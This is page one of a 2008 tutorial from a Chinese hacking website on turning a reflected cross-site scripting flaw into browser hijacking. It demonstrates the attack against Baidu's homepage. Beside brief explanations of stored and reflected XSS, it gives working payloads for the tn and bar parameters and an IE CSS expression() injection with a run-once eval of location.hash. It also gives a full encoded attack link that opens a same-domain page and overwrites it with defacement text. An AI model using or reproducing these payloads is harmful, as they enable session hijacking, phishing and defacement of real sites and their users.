黑客风云——风云网络
设为首页 加入收藏 我要投稿 网站地图

您现在的位置: 黑客风云 >> 黑客文章 >> 黑客进阶 >> 脚本入侵 >> 正文
·跨站脚本漏洞导致的浏览06-22·Yahoo! 统计功能跨站脚本06-22
·解决IE浏览器“不适” 让06-22·怕忘掉Vista密码?再谈U06-22
·PurgeHosting提供250-1G06-22·Windows Vista有趣标签S06-20
·Windows Vista操作系统快06-20·低配又如何?“老爷机”照06-20
·删除Windows XP下顽固文06-20·无忧无虑提供500M免费PH06-20
·修改Vista最近打开的项目06-19·系统重装导致NTFS无法访06-19
·1vyb.com提供250M免费ph06-19·Coppermine Photo Galle06-18
·用XP的启动管理来搞定Vi06-18·Vista下IE7.0浏览器九个06-18
·不费吹灰之力 速将超大文06-18·揭秘:Vista用户名和密码06-18
·265网络硬盘送500兆www.06-18·hostshield.com提供200M06-18
·详解WINRAR的自解压跨站06-17·阿里网络硬盘免费用户5006-17
·webs28提供1000M免费php06-17·全面教你动手制作Vista和06-16
·猫扑网盘,好网盘选猫扑w06-16·天禧免费动态空间06-16
·妙招让漏洞变陷阱来折磨06-14·phpinfo跨站脚本漏洞06-14
[推荐]跨站脚本漏洞导致的浏览器劫持攻击(内附教程)
        ★★★★★

跨站脚本漏洞导致的浏览器劫持攻击(内附教程)

文章整理发布:黑客风云 文章来源:www.05112.com 更新时间:2008-6-22 11:09:13

唠叨两句

网上看见很多人研究跨站脚本漏洞,好像跨站脚本漏洞已经成为Web安全中的一大热点了,但实际上很多人并不了解这一漏洞能造成什么程度的危害,某同 学曾经报过一个参数类型的URL链接XSS给某程序,被厂商鄙视了下,说这种漏洞有什么用,只能弹个框给自己看,最后一笑了之。

题外科普

跨站脚本漏洞主要分为两类:

一类是存储型XSS,主要出现在让用户输入数据,供其他浏览此页的用户进行查看的地方,包括留言、评论、博客日志和各类表单等。应用程序从数据库中 查询数据,在页面中显示出来,攻击者在相关页面输入恶意的脚本数据后,用户浏览此类页面就可能受到攻击。另外一类是参数型XSS,主要是将脚本加入URL 地址的程序参数里,参数进入程序后在页面直接输出脚本内容,用户点击类似的恶意链接就可能受到攻击。传统的XSS攻击都是盘算如何盗取客户端 COOKIE,然后劫持客户端和WEB服务端的会话,其他还有利用XSS进行网络钓鱼的攻击方法,这类攻击都是针对客户端进行攻击,而近年流行的XSS WORM攻击方式,是通过AJAX技术把恶意的XSS数据感染到每一个用户,可以对WEB服务造成很大的影响,间接实现了对WEB服务端的攻击。

一个典型的参数型跨站脚本漏洞

我拿百度主页的一个XSS做个演示(以前给百度报过漏洞,但是百度没什么反应),这个漏洞是由于百度主页tn和bar参数过滤不严导致的参数型XSS:

以下是引用片段:
http://www.baidu.com/index.php?tn="/**/style=xss:expression(alert(’xss’));
http://www.baidu.com/index.php?bar="/**/style=xss:expression(alert(’xss’));

tn和bar两个参数对应在页面的输出是两个input表单值,可以使用”(双引号)闭合表单值,加入CSS属性跨站,页面具体输出如下:

以下是引用片段:
<input type=hidden name=tn value=""/**/style=xss:expression(alert(’xss’));">

这个漏洞只能在IE下使用,FIREFOX会把URL链接参数中的”(双引号)转成编码%22,页面参数的输出也会变成%22,就不能闭合”(双引 号)跨站。expression()是个不听话的角色,这里可以用一个小技巧来去掉expression烦人的死循环。运行当前URL的#注释符后的代码:

以下是引用片段:
eval(unescape(location.hash.substr(1)))

给window对象的方法定义一个值,判断这个值运行一次代码:

以下是引用片段:
(window.r!=1)?eval(’window.r=1;eval(unescape(location.hash.substr(1)))’):1

最后得到完美的攻击链接:

以下是引用片段:
http://www.baidu.com/index.php?bar="/**/style=xss:expression((window.r!=1)?eval(’window.r=1;eval(unescape(location.hash.substr(1)))’):1);#alert%28%29

新的攻击方式

从攻击的起点来说跨站脚本漏洞是有一定局限性的,跨站脚本漏洞无论是针对客户端还是针对WEB服务端的攻击都是被动式的攻击,我们只能在对方站点有 漏洞的页面加入了恶意的javascript,用户只有访问了特定的页面才会触发漏洞,而离开这个页面,攻击也就随之失效。我们都知道AJAX技术中的 xmlhttp组件是无法跨域发送请求的,一定程度上浏览器的安全特性间接影响着WEB漏洞的发挥,在《浅析浏览器的跨域安全问题》这篇文档里我就说明过 浏览器跨域的一些安全特性,其中我发现window对象打开的窗口如果是同一个域的话,可以向打开的这个窗口再注入脚本运行。利用浏览器的这个安全特性, 我们结合跨站脚本漏洞就可以修改同域内任何一个页面,比如利用百度的这个XSS来修改www.baidu.com域内的一个页面:

代码内容:

以下是引用片段:
x=window.open(’http://www.baidu.com/duty/’);
setTimeout(function(){
x.location="javascript:document.write(’茄子宝到此一游’)"
},10)

最后可以得到的攻击链接:

以下是引用片段:
http://www.baidu.com/index.php?bar="/**/style=xss:expression((window.r!=1)?eval(’window.r=1;eval(unescape(location.hash.substr(1)))’):1);#x%3Dwindow.open%28%27http%3A//www.baidu.com/duty/%27%29%3B%0D%0AsetTimeout%28function%28%29%7B%0D%0Ax.location%3D%22javascript%3Adocument.write%28%27%u8304%u5B50%u5B9D%u5230%u6B64%u4E00%u6E38%27%29%22%0D%0A%7D%2C10%29

进入这个链接后,允许浏览器弹窗,会弹出 http://www.baidu.com/duty 页面,整个页面会被修改成“茄子宝到此一游” :)

[1] [2] 下一页

文章录入:cainiaowang    责任编辑:xinlian 
  • 上一篇文章:

  • 下一篇文章: 没有了
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
    VIP 专 区
    Copyright @2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
    ICP备案:冀06009886